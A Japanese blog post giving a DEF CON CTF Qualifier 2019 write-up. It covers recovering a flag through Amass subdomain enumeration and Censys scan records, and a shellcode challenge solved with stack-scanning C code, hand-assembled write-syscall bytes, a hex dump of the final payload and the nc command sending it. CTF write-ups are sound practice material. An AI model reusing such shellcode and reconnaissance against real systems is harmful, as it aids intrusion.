amaga38のブログ

twitter: @amaga38

DEF CON CTF Qualifier 2019 write-up

5/11 0:00-5/13 0:00(UTC) に開催されたDEF CON CTF Qualifier 2019で解けた問題のwrite-upです。チーム名 whitecas でソロ参加し、310pts獲得して148位でした。

welcome_to_the_game

参加表明?的なフラグ提出。

Welcome to the 2019 DEF CON CTF quals! Let's start it out with a free flag :) If you can't submit it and get points there must be something very wrong, and we hope it's on your end :D

Flag: OOO{Game on!}

cant_even_unplug_it

You know, we had this up and everything. Prepped nice HTML5, started deploying on a military-grade-secrets.dev subdomain, got the certificate, the whole shabang. Boss-man got moody and wanted another name, we set up the new names and all. Finally he got scared and unplugged the server. Can you believe it? Unplugged. Like that can keep it secret…

なにやらmilitary-grade-secrets.devサブドメインで提供していたWEBサービス?があったんだけど、ボスがびびってサーバーをネットワークから切り離したからコンテンツ見れんぞ。という設定の問題らしい。

とりあえず、subdomain のスキャナツールを探し、OWASPのツールでAmassというのを使ってみた。

結果

$ sudo docker run amass --passive -d military-grade-secrets.dev
secret-storage.military-grade-secrets.dev
now.under.even-more-militarygrade.pw.military-grade-secrets.dev
www.military-grade-secrets.dev

OWASP Amass v2.9.10                               https://github.com/OWASP/Amass
--------------------------------------------------------------------------------
3 names discovered - cert: 2, scrape: 1

secret-storage.military-grade-secrets.devにアクセスしてみると、forget-me-not.even-more-militarygrade.pw へ302リダイレクトされる。でもSYN/ACKが返ってこない。これがUnplugってことかな?

別の方法を考えてみてCensysでforget-me-not.even-more-militarygrade.pw IPv4アドレス206.189.162.22の検索を試してみる。

f:id:amaga38:20190511110201j:plain
censysの記録

Censysがアクセスしたときのコンテンツを記録してくれているみたいで、おっ!?と思い、HTTPコンテンツを覗いてみるとフラグがあった。

f:id:amaga38:20190511110045j:plain

cant_even_unplug_itのflag

Flag: OOO{DAMNATIO_MEMORIAE}

know_your_mem

pwn練習問題?Shellcodeを提出して、フラグを表示させれば勝ち。

問題ファイルは、練習用ファイル(simplified.c)と本番サーバーと同じソースファイル(know_your_mem.c) があり、練習用ファイルはヒント表示がある。ソースとしては一緒だが、simplified.cは、simplified_shellcode.so.cコンパイルしてできるsimplified_shellcode.soshellcodeという関数を呼び出し、know_your_mem.cは、標準入力からfreadしたshellcodeをメモリ上に格納し、処理をしてくれる。

フラグは、ファイルからreadした文字列を0x0000100000000000UL0x00001ffffffff000ULの間のランダムな場所にmmapで確保されたメモリー領域に格納されている。

コマンドプロンプトmake checkとすれば、shellcodeのテストができる。simplified.cはフラグが格納されているアドレスのポインタを突き止めればOK。know_your_mem.cは、そのポインタを利用してフラグを表示すればOK。

$ make check
 :
./topkt.py shellcode.bin
./simplified
[ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.18.0-18-generic (x86_64)
Loading your simplified solution from ./simplified_shellcode.so
[ ] Putting the flag somewhere in memory...
Secret loaded (header + 107 bytes)
[H] The flag is at 0x107bfb3f9000
[ ] Putting red herrings in memory...
[H] Red herring at 0x1631b4f87000
[H] Red herring at 0x191914eea000
 :
[H] Red herring at 0x1cd4c7262000
[H] Red herring at 0x171470311000
[*] seccomp filter now active!
Hi! Soon I'll be your shellcode!
[*] Your shellcode returned 0x107bfb3f9000
[^] Success! Make sure you're also printing the flag, and that it's not taking too long. Next: convert your solution to raw shellcode -- you can start with C code, BTW! shellcode.c shows one way to do it.
Good, the simplified version worked! Let's now try raw shellcode...
./know_your_mem < shellcode.bin.pkt | tee | fgrep --text 'OOO{theflagwillbehere}'
[ ] Putting the flag somewhere in memory...
[ ] Putting red herrings in memory...
[*] seccomp filter now active!
[*] Your shellcode returned 0x19900cd26000

フラグ文字列を指すポインタを求める処理は↓のように書いた。ポインタは、mmapの返却値としてstack上に一時保存していた値が残っているので、stack上の値を適当に検索して、保存対象のアドレス範囲を指すポインタ値っぽいかどうか雑に比較して求めた。

// This is an example of turning simple C into raw shellcode.

// make shellcode.bin will compile to assembly
// make shellcode.bin.pkt will prepend the length so you can
//    ./know_your_mem < shellcode.bin.pkt

// Note: Right now the 'build' does not support .(ro)data
//       If you want them you'll have to adjust the Makefile.
//       They're not really necessary to solve this challenge though.


// From https://chromium.googlesource.com/linux-syscall-support/
static int my_errno = 0;
#define SYS_ERRNO my_errno
#include "linux-syscall-support/linux_syscall_support.h"

#define ADDR_MIN   0x0000100000000000UL
#define ADDR_MASK  0x00000ffffffff000UL

void* _start()
{
    //sys_write(1, __builtin_frame_address(0), 5);  // Prints something (note: best avoid literals)
    //sys_exit_group(2);                            // Exit

    void **pt;

    pt = (void**)(((unsigned long)&pt) - 0x100);
    while (1){
        if ((unsigned long)*pt < 0x00001ffffffff000UL
            && (unsigned long)*pt > ADDR_MIN) {
            return *pt;
        }
        pt = (void**)((unsigned long)pt + 0x4);
    }

    return (void*)0x1234;
}

know_your_mem (フラグの出力)

Makefileの処理でshellcode.cに書かれた処理がコンパイルされ、know_your_memに送るshellcodeが作成される。shellcode.c -> shellcode.elf -> shellcode.bin.pkt という風にshellcodeが作成されている。(※shellcode.bin.pktの先頭2バイトはshellcodeの長さを表すunsigned short) make処理では、↑で書いたポインタを求める処理だけコンパイルし、そして、know_your_mem.cで特定したメモリアドレスをwriteするshellcode部分は以下のように書いて、↑で作成したshellcode.bin.pktに追加して最終的なshellcodeを作成した。(system callでwriteを呼び出している)

4D 31 D2            XOR R10, R10
48 C7 C2 50000000   MOV RDX, 50
48 89 C6            MOV RSI, RAX
48 C7 C7 00000000   MOV RDI, 0
50                  PUSH RAX
49 8D 42 01         LEA RAX, QWORD PTR [R10+1]
0F 05               SYSCALL
58                  POP RAX

最終的にサーバーへ送信したshellcodeは以下のようになった。

00000000  59 00 48 8d 84 24 f8 fe  ff ff 48 b9 ff ff ff ff  |Y.H..$....H.....|
00000010  ff ef ff ff 48 be fe ef  ff ff ff 0f 00 00 48 89  |....H.........H.|
00000020  44 24 f8 48 8b 54 24 f8  48 8b 02 48 8d 3c 08 48  |D$.H.T$.H..H.<.H|
00000030  39 f7 76 0b 48 83 c2 04  48 89 54 24 f8 eb e4 4d  |9.v.H...H.T$...M|
00000040  31 d2 48 c7 c2 50 00 00  00 48 89 c6 48 c7 c7 00  |1.H..P...H..H...|
00000050  00 00 00 50 49 8d 42 01  0f 05 58 c3              |...PI.B...X.|

送信結果

ubuntu@ubuntu-VirtualBox:/media/sf_onedrive_ctf/DEFCON_2019/first_contact/know_your_mem$ cat shellcode1.bin.pkt | nc know_your_mem.quals2019.oooverflow.io 4669
[ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.15.0-1037-aws (x86_64)
Send the length (uint16), then the shellcode.
[ ] All right, I read 89 bytes. I will call the first byte in a bit.
[ ] Putting the flag somewhere in memory...
Secret loaded (header + 36 bytes)
[ ] Putting red herrings in memory...
[*] seccomp filter now active!
OOO{so many bits, so many syscalls}

Flag: OOO{so many bits, so many syscalls}

以上でっす。